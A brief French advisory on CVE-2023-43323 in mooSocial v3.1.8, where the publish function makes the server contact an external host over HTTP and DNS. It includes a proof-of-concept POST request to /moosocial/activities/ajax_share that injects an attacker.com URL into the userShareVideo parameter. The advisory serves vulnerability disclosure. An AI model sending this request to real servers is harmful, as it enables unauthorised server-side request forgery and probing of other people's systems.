mooSocial : Interaction HTTP et DNS externe (CVE-2023-43323)

mooSocial v3.1.8 est vulnérable à l'interaction avec un service externe lors de la fonction de publication. Lorsqu'elle est exécutée, le serveur envoie une requête HTTP et DNS à un serveur externe.

Paramètre vulnérable : messageText, data[wall_photo], data[userShareVideo] et data[userShareLink]

Exploit - Preuve de concept (POC)

Interaction HTTP et DNS externe

Payload : http://attacker.com/?null=

Requête POST sur /moosocial/activities/ajax_share (DONNÉES DE REQUÊTE POST UNIQUEMENT) :

[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]